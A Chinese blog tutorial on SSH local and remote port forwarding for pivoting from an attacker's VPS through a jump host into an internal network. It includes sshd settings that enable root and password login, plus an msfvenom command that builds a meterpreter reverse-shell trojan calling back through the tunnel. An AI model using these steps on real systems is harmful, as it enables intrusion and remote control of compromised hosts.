SSH隧道端口转发详解

简介: 需要在目标主机修改如下配置文件内容

一、SSH配置文件设置

需要在目标主机修改如下配置文件内容:

Vi /etc/ssh/sshd_config   #SSH配置文件
AllowTcpForwarding yes     #是否允许转发TCP协议
GatewayPorts yes   #是否允许远程主机连接本地转发端口
PermitRootLogin yes    #是否允许root登录
PasswordAuthentication yes    #是否允许使用基于密码的认证
TCPKeepAlive yes    #保持心跳,防止 ssh 断开


二、SSH端口转发参数详解

-C   #压缩传输,加快传输速度
-f    #将SSH转入后台执行,不占用当前的shell
-N   #建立静默连接(建立了连接,但是看不到具体会话)
-g   #允许远程主机连接到本地用于转发的端口
-L   #本地端口转发
-R   #远程端口转发
-D  #动态转发(socks代理)
-P  #指定SSH端口









三、具体转发方式

①本地端口转发(将攻击者vps的某个端口转发到目标指定机器的指定端口)

场景:只能访问B主机,B作为跳板,将内网C主机端口带出来

在vps上执行:


ssh -L vps本地端口:C主机ip:C端口 B用户名@ip

实例:


ssh -CfNg –L 2121:192.168.1.109:3389 root@192.168.1.2


此时连接vps本地2121端口就相当于连接到内网C主机的3389端口




②远程端口转发(将目标主机的某个端口转发到攻击者vps的指定端口)

场景:无法访问B主机,但是B主机可以出网,通过B为跳板,将内网C主机端口带出来

在B跳板上执行:


ssh -R vps端口:C主机ip:C端口 vps用户名@ip


实例:


ssh -CfNg -R 1080:192.168.1.109:3389 root@192.168.1.106


此时连接vps本地1080端口就相当于连接到内网C主机的3389端口

-


四、如何通过跳板机让内网主机上线?

①通过本地端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)


C主机执行:


ssh -CfNg -L 本地端口:vps的ip:vps端口 B用户名@ip


然后MSF生成木马(lhost=C主机ip,lport=C主机端口):


msfvenom -p windows/meterpreter/reverse_tcp lhost=C主机ip lport=C主机端口 -f exe > ssh.exe


然后vps开启MSF监听(vps本地端口和ip即可):


内网中的主机执行payload就能成功上线:

流量走向:C主机6666端口-->B跳板-->vps的6666端口



②通过远程端口转发

场景:(B跳板机能出网,内网C主机能访问B跳板,内网其他主机怎么全部上线呢?)


B跳板执行:


ssh –CfNg -R C主机端口:vps的ip:vps的端口 C主机用户名@ip


然后MSF生成木马(lhost=C主机ip,lport=C主机端口):


然后vps开启MSF监听(vps本地端口和ip即可):


执行payload就能成功上线

流量走向:C主机7777端口-->B跳板-->vps的4444端口


文章只是模拟部分场景,总体来说SSH隧道还是挺稳定的,实际场景还需根据实际情况进行思路拓展,文章如有错误,欢迎一起交流

目录
相关文章
|
2月前
|
Java 数据库连接 网络安全
JDBC常用特性-SSH隧道连接
JDBC常用特性-SSH隧道连接
|
2月前
|
网络协议 Ubuntu Linux
解决ssh: connect to host IP port 22: Connection timed out报错(scp传文件指定端口)
解决 `ssh: connect to host IP port 22: Connection timed out` 报错涉及检查 SSH 服务状态、防火墙配置、网络连通性和主机名解析等多个方面。通过逐步排查上述问题,并在 `scp` 命令中正确指定端口,可以有效解决连接超时的问题,确保文件传输的顺利进行。希望本文提供的解决方案能帮助您快速定位并解决该错误。
291 3
|
2月前
|
运维 网络安全
解决ssh: connect to host IP port 22: Connection timed out报错(scp传文件指定端口)
通过这些步骤和方法,您可以有效解决“ssh: connect to host IP port 22: Connection timed out”问题,并顺利使用 `scp`命令传输文件。
1055 7
|
8月前
|
安全 数据挖掘 Shell
SSH安全远程登录与端口转发
**SSH 概述**:SSH 是开发者必备工具,用于安全远程登录及文件传输。本文聚焦SSH的两大功能:**密钥登录**和**端口转发**。
182 0
|
6月前
|
网络协议 关系型数据库 MySQL
ssh端口转发
ssh端口转发
|
6月前
|
安全 Linux 网络安全
在Linux中,使用rsync同步数据时,假如采用的是ssh方式,并且目标机器的sshd端端并不是默认的22端口,该如何做?
在Linux中,使用rsync同步数据时,假如采用的是ssh方式,并且目标机器的sshd端端并不是默认的22端口,该如何做?
|
8月前
|
网络协议 Linux 网络安全
CentOS7增加或修改SSH端口号
CentOS7增加或修改SSH端口号
433 1
|
9月前
|
安全 Linux Shell
|
9月前
|
安全 Linux 网络安全
|
8月前
|
网络协议 Linux Shell
如何在 CentOS 中配置 SSH 服务的 TCP 端口转发
如何在 CentOS 中配置 SSH 服务的 TCP 端口转发
310 0

热门文章

最新文章